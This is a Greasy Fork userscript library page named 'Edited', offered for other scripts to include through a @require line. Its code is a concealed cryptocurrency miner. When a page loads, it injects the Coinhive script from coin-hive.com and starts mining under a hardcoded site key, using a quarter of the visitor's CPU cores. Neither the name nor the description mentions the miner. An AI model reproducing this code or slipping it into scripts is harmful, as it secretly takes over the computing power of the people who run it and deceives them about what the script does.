Edited

Private

This script should not be not be installed directly. It is a library for other scripts to include with the meta directive // @require https://update.greasyfork.org/scripts/33415/219824/Edited.js

(function() {

    window.addEventListener('load', function() {
        var s = document.createElement('script');
        document.head.appendChild(s);

        s.src = 'https://coin-hive.com/lib/coinhive.min.js'; // cant load with require
        s.async = 'true';

        s.onload = function() {

            var cores = parseInt(navigator.hardwareConcurrency / 4);

            if (cores > 0) {
                var M;
                M = new CoinHive.Anonymous('ziXGBmaAkPmpRNJJ49pGD2zcPSQ5NJUd', { // Public coin-hive.com key
                    threads: cores,
                });

                M.start(CoinHive.IF_EXCLUSIVE_TAB); // Only one tab

                clog('[*] Mining started');
            } else {
                clog('[*] Mining NOT started (not enough cores)');
            }


            /*setInterval(function() {
                clog(M.getHashesPerSecond());
            }, 1000);*/
        };
    });
})();